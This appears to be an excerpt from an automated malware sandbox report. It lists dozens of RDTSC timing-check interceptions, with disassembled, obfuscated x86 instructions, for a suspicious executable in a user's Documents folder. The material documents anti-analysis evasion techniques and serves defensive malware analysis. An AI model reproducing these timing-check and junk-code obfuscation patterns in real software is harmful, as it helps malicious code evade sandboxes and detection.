Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A6D2E second address: 4A6D38 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8428CC3766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A6D38 second address: 4A6D54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8428B8CB58h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A6D54 second address: 4A6D58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A6D58 second address: 4A6E05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jg 00007F8428B8CB5Eh 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007F8428B8CB53h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d jmp 00007F8428B8CB58h 0x00000022 pop eax 0x00000023 push 00000000h 0x00000025 push ebx 0x00000026 call 00007F8428B8CB48h 0x0000002b pop ebx 0x0000002c mov dword ptr [esp+04h], ebx 0x00000030 add dword ptr [esp+04h], 00000015h 0x00000038 inc ebx 0x00000039 push ebx 0x0000003a ret 0x0000003b pop ebx 0x0000003c ret 0x0000003d pushad 0x0000003e mov si, 3E36h 0x00000042 mov dword ptr [ebp+122D1D83h], ebx 0x00000048 popad 0x00000049 call 00007F8428B8CB49h 0x0000004e jno 00007F8428B8CB50h 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 jno 00007F8428B8CB4Ch 0x0000005d rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A6E05 second address: 4A6E32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jnc 00007F8428CC3766h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8428CC3779h 0x00000019 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A6E32 second address: 4A6E38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A6E38 second address: 4A6E3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A711B second address: 4A711F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A72A5 second address: 4A72AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A72AB second address: 4A72C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a jmp 00007F8428B8CB50h 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A72C6 second address: 4A72DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8428CC3772h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A7A0F second address: 4A7A14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A7AB3 second address: 4A7ABD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A7ABD second address: 4A7AC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A7AC1 second address: 4A7AC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A7DB8 second address: 4A7DCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F8428B8CB48h 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push edx 0x00000013 pop edx 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A7DCF second address: 4A7DE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8428CC376Eh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A8E16 second address: 4A8E8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F8428B8CB4Ch 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f sub dword ptr [ebp+122D2181h], ebx 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007F8428B8CB48h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 00000014h 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 add dword ptr [ebp+122D2F15h], ebx 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push edx 0x0000003c call 00007F8428B8CB48h 0x00000041 pop edx 0x00000042 mov dword ptr [esp+04h], edx 0x00000046 add dword ptr [esp+04h], 00000014h 0x0000004e inc edx 0x0000004f push edx 0x00000050 ret 0x00000051 pop edx 0x00000052 ret 0x00000053 xchg eax, ebx 0x00000054 jmp 00007F8428B8CB55h 0x00000059 push eax 0x0000005a pushad 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A8E8F second address: 4A8E93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A8E93 second address: 4A8E9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A8E9D second address: 4A8EA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4A8EA1 second address: 4A8EA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4AA862 second address: 4AA868 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4AA868 second address: 4AA8A4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push esi 0x0000000a jmp 00007F8428B8CB52h 0x0000000f pop esi 0x00000010 nop 0x00000011 push ecx 0x00000012 pop esi 0x00000013 push 00000000h 0x00000015 add dword ptr [ebp+122D3046h], ecx 0x0000001b push 00000000h 0x0000001d jne 00007F8428B8CB4Ch 0x00000023 push eax 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4AA8A4 second address: 4AA8A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4AA8A8 second address: 4AA8BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB4Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4AB4BE second address: 4AB4E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F8428CC3772h 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8428CC376Ah 0x00000015 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4AB4E5 second address: 4AB4F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8428B8CB4Ah 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4ABD4D second address: 4ABD67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8428CC3775h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4AC7F2 second address: 4AC7F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4AC7F8 second address: 4AC810 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8428CC376Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4AC810 second address: 4AC815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4AC815 second address: 4AC81A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4AD540 second address: 4AD544 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B1367 second address: 4B136D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B1896 second address: 4B18EE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8428B8CB52h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f call 00007F8428B8CB4Fh 0x00000014 mov di, cx 0x00000017 pop ebx 0x00000018 push 00000000h 0x0000001a mov dword ptr [ebp+122D1E38h], ecx 0x00000020 push 00000000h 0x00000022 call 00007F8428B8CB53h 0x00000027 mov di, 1DB2h 0x0000002b pop ebx 0x0000002c xchg eax, esi 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B18EE second address: 4B18F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B18F2 second address: 4B18F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B18F6 second address: 4B18FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B18FC second address: 4B191D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F8428B8CB50h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f je 00007F8428B8CB46h 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B191D second address: 4B1923 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B1923 second address: 4B1927 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B496F second address: 4B49D8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8428CC377Dh 0x00000008 jmp 00007F8428CC3777h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 sub di, CF5Ch 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F8428CC3768h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 sub dword ptr [ebp+122D1C5Ch], ecx 0x00000037 push 00000000h 0x00000039 xor dword ptr [ebp+122DB563h], esi 0x0000003f xchg eax, esi 0x00000040 pushad 0x00000041 jmp 00007F8428CC376Dh 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B49D8 second address: 4B49E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B49E6 second address: 4B49EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B5A2F second address: 4B5A35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B6BA4 second address: 4B6BA9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B7C04 second address: 4B7C08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B8C67 second address: 4B8C6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4BACA8 second address: 4BACAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4BBC6E second address: 4BBCD1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8428CC3766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c jmp 00007F8428CC376Dh 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F8428CC3768h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000016h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c jp 00007F8428CC376Ch 0x00000032 sub ebx, dword ptr [ebp+122D2CB8h] 0x00000038 push 00000000h 0x0000003a mov dword ptr [ebp+122D251Bh], ecx 0x00000040 push 00000000h 0x00000042 jmp 00007F8428CC376Ah 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a ja 00007F8428CC3768h 0x00000050 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4BBCD1 second address: 4BBCD6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4BCD50 second address: 4BCD55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4BCD55 second address: 4BCD94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8428B8CB4Ch 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F8428B8CB48h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a push 00000000h 0x0000002c cld 0x0000002d push edi 0x0000002e pop edi 0x0000002f push eax 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4BCD94 second address: 4BCD98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4BCD98 second address: 4BCDA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4BCDA2 second address: 4BCDA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4BECB6 second address: 4BECBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4BFB9E second address: 4BFBA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4C0B66 second address: 4C0B6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4C0B6A second address: 4C0B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B29D6 second address: 4B29DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B29DA second address: 4B29E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B4B53 second address: 4B4B57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B7DF0 second address: 4B7E0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC3770h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B5BF5 second address: 4B5BF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B7E0A second address: 4B7E99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC376Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F8428CC3768h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 mov ebx, 13F0FE39h 0x0000002a push dword ptr fs:[00000000h] 0x00000031 push 00000000h 0x00000033 push ebx 0x00000034 call 00007F8428CC3768h 0x00000039 pop ebx 0x0000003a mov dword ptr [esp+04h], ebx 0x0000003e add dword ptr [esp+04h], 00000016h 0x00000046 inc ebx 0x00000047 push ebx 0x00000048 ret 0x00000049 pop ebx 0x0000004a ret 0x0000004b mov ebx, dword ptr [ebp+122D1DCDh] 0x00000051 mov dword ptr [ebp+122D305Eh], eax 0x00000057 and edi, dword ptr [ebp+122D2A0Bh] 0x0000005d mov dword ptr fs:[00000000h], esp 0x00000064 mov bx, di 0x00000067 mov eax, dword ptr [ebp+122D0AEDh] 0x0000006d mov dword ptr [ebp+122D2FC7h], edi 0x00000073 push FFFFFFFFh 0x00000075 adc ebx, 3C3150C1h 0x0000007b push eax 0x0000007c pushad 0x0000007d push eax 0x0000007e push edx 0x0000007f push eax 0x00000080 push edx 0x00000081 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B7E99 second address: 4B7E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B7E9D second address: 4B7EA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4BBE2E second address: 4BBE32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4BFCBF second address: 4BFCE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428CC3771h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F8428CC376Ch 0x00000013 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4BEE57 second address: 4BEEBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8428B8CB51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8428B8CB54h 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 movzx ebx, di 0x00000015 push dword ptr fs:[00000000h] 0x0000001c mov di, ax 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 pushad 0x00000027 jp 00007F8428B8CB49h 0x0000002d xor ebx, dword ptr [ebp+122D2B94h] 0x00000033 popad 0x00000034 mov eax, dword ptr [ebp+122D0591h] 0x0000003a mov ebx, dword ptr [ebp+122D2A94h] 0x00000040 push FFFFFFFFh 0x00000042 nop 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4BEEBD second address: 4BEEC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4BEEC4 second address: 4BEF13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8428B8CB55h 0x00000008 jmp 00007F8428B8CB55h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push edi 0x00000013 jmp 00007F8428B8CB53h 0x00000018 pop edi 0x00000019 push eax 0x0000001a push edx 0x0000001b jng 00007F8428B8CB46h 0x00000021 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4BEF13 second address: 4BEF17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B9EEC second address: 4B9EF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F8428B8CB46h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4B9EF7 second address: 4B9EFC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4C0DDA second address: 4C0DDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4C0DDE second address: 4C0DE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4C3CDC second address: 4C3CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 ja 00007F8428B8CB46h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsKJECFHCBKK.exe	RDTSC instruction interceptor: First address: 4C910E second address: 4C9118 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F8428CC3766h 0x0000000a rdtsc
